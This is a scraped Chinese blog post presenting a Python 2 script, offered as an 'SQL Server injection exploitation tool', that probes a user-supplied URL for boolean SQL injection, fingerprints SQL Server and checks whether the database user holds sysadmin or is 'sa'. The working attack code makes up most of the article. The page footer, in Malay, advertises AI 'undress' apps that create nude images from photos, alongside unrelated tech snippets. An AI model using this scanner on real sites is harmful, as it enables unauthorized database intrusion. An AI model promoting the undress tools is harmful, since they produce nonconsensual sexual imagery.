Python编写检测数据库SA用户的方法
本文讲述一个用Python写的小程序,用于有注入点的链接,以检测当前数据库用户是否为sa,详细代码如下:
# Code by zhaoxiaobu Email: little.bu@hotmail.com #-*- coding: UTF-8 -*- from sys import exit from urllib import urlopen from string import join,strip from re import search def is_sqlable(): sql1="%20and%201=2" sql2="%20and%201=1" urlfile1=urlopen(url+sql1) urlfile2=urlopen(url+sql2) htmlcodes1=urlfile1.read() htmlcodes2=urlfile2.read() if not search(judge,htmlcodes1) and search(judge,htmlcodes2): print "[信息]恭喜!这个URL是有注入漏洞的!n" print "[信息]现在判断数据库是否是SQL Server,请耐心等候....." is_SQLServer() else: print "[错误]你确定这个URL能用?换个别的试试吧!n" def is_SQLServer(): sql = "%20and%20exists%20(select%20*%20from%20sysobjects)" urlfile=urlopen(url+sql) htmlcodes=urlfile.read() if not search(judge,htmlcodes): print "[错误]数据库好像不是SQL Server的!n" else: print "[信息]确认是SQL Server数据库!n" print "[信息]开始检测当前数据库用户权限,请耐心等待......" is_sysadmin() def is_sysadmin(): sql = "%20and%201=(select%20IS_SRVROLEMEMBER('sysadmin'))" urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[错误]当前数据库用户不具有sysadmin权限!n" else: print "[信息]当前数据库用户具有sysadmin权限!n" print "[信息]检测当前用户是不是SA,请耐心等待......" is_sa() def is_sa(): sql = "%20and%20'sa'=(select%20System_user)"; urlfile = urlopen(url+sql) htmlcodes = urlfile.read() if not search(judge,htmlcodes): print "[错误]当前数据库用户不是SA!n" else: print "[信息]当前数据库用户是SA!n" print "n########################################################################n" print " ^o^SQL Server注入利用工具^o^ " print " Email: little.bu@hotmail.comn" print "========================================================================"; url = raw_input('[信息]请输入一个可能有注入漏洞的链接!nURL:') if url == '': print "[错误]提供的URL必须具有 '.asp?xxx=' 这样的格式" exit(1) judge = raw_input("[信息]请提供一个判断字符串.n判断字符串:") if judge == '': print "[错误]判断字符串不能为空!" exit(1) is_sqlable()

Alat AI Hot

Undresser.AI Undress
Apl berkuasa AI untuk mencipta foto bogel yang realistik

AI Clothes Remover
Alat AI dalam talian untuk mengeluarkan pakaian daripada foto.

Undress AI Tool
Gambar buka pakaian secara percuma

Clothoff.io
Penyingkiran pakaian AI

AI Hentai Generator
Menjana ai hentai secara percuma.

Artikel Panas

Alat panas

Notepad++7.3.1
Editor kod yang mudah digunakan dan percuma

SublimeText3 versi Cina
Versi Cina, sangat mudah digunakan

Hantar Studio 13.0.1
Persekitaran pembangunan bersepadu PHP yang berkuasa

Dreamweaver CS6
Alat pembangunan web visual

SublimeText3 versi Mac
Perisian penyuntingan kod peringkat Tuhan (SublimeText3)

Topik panas



PHP dan Python masing -masing mempunyai kelebihan mereka sendiri, dan memilih mengikut keperluan projek. 1.PHP sesuai untuk pembangunan web, terutamanya untuk pembangunan pesat dan penyelenggaraan laman web. 2. Python sesuai untuk sains data, pembelajaran mesin dan kecerdasan buatan, dengan sintaks ringkas dan sesuai untuk pemula.

Untuk memaksimumkan kecekapan pembelajaran Python dalam masa yang terhad, anda boleh menggunakan modul, masa, dan modul Python. 1. Modul DateTime digunakan untuk merakam dan merancang masa pembelajaran. 2. Modul Masa membantu menetapkan kajian dan masa rehat. 3. Modul Jadual secara automatik mengatur tugas pembelajaran mingguan.

PHP dan Python mempunyai kelebihan dan kekurangan mereka sendiri, dan pilihannya bergantung kepada keperluan projek dan keutamaan peribadi. 1.PHP sesuai untuk pembangunan pesat dan penyelenggaraan aplikasi web berskala besar. 2. Python menguasai bidang sains data dan pembelajaran mesin.

Apache adalah wira di belakang internet. Ia bukan sahaja pelayan web, tetapi juga platform yang kuat yang menyokong lalu lintas yang besar dan menyediakan kandungan dinamik. Ia memberikan fleksibiliti yang sangat tinggi melalui reka bentuk modular, yang membolehkan pengembangan pelbagai fungsi seperti yang diperlukan. Walau bagaimanapun, modulariti juga membentangkan cabaran konfigurasi dan prestasi yang memerlukan pengurusan yang teliti. Apache sesuai untuk senario pelayan yang memerlukan keperluan yang sangat disesuaikan dan memenuhi keperluan kompleks.

Apache ditulis dalam C. Bahasa ini menyediakan kelajuan, kestabilan, mudah alih, dan akses perkakasan langsung, menjadikannya sesuai untuk pembangunan pelayan web.

Latihan yang cekap model pytorch pada sistem CentOS memerlukan langkah -langkah, dan artikel ini akan memberikan panduan terperinci. 1. Penyediaan Persekitaran: Pemasangan Python dan Ketergantungan: Sistem CentOS biasanya mempamerkan python, tetapi versi mungkin lebih tua. Adalah disyorkan untuk menggunakan YUM atau DNF untuk memasang Python 3 dan menaik taraf PIP: Sudoyumupdatepython3 (atau SudodnfupdatePython3), pip3install-upgradepip. CUDA dan CUDNN (Percepatan GPU): Jika anda menggunakan Nvidiagpu, anda perlu memasang Cudatool

Membolehkan pecutan GPU pytorch pada sistem CentOS memerlukan pemasangan cuda, cudnn dan GPU versi pytorch. Langkah-langkah berikut akan membimbing anda melalui proses: Pemasangan CUDA dan CUDNN Tentukan keserasian versi CUDA: Gunakan perintah NVIDIA-SMI untuk melihat versi CUDA yang disokong oleh kad grafik NVIDIA anda. Sebagai contoh, kad grafik MX450 anda boleh menyokong CUDA11.1 atau lebih tinggi. Muat turun dan pasang Cudatoolkit: Lawati laman web rasmi Nvidiacudatoolkit dan muat turun dan pasang versi yang sepadan mengikut versi CUDA tertinggi yang disokong oleh kad grafik anda. Pasang Perpustakaan Cudnn:

Docker menggunakan ciri -ciri kernel Linux untuk menyediakan persekitaran berjalan yang cekap dan terpencil. Prinsip kerjanya adalah seperti berikut: 1. Cermin digunakan sebagai templat baca sahaja, yang mengandungi semua yang anda perlukan untuk menjalankan aplikasi; 2. Sistem Fail Kesatuan (Unionfs) menyusun pelbagai sistem fail, hanya menyimpan perbezaan, menjimatkan ruang dan mempercepatkan; 3. Daemon menguruskan cermin dan bekas, dan pelanggan menggunakannya untuk interaksi; 4. Ruang nama dan cgroups melaksanakan pengasingan kontena dan batasan sumber; 5. Pelbagai mod rangkaian menyokong interkoneksi kontena. Hanya dengan memahami konsep -konsep teras ini, anda boleh menggunakan Docker dengan lebih baik.
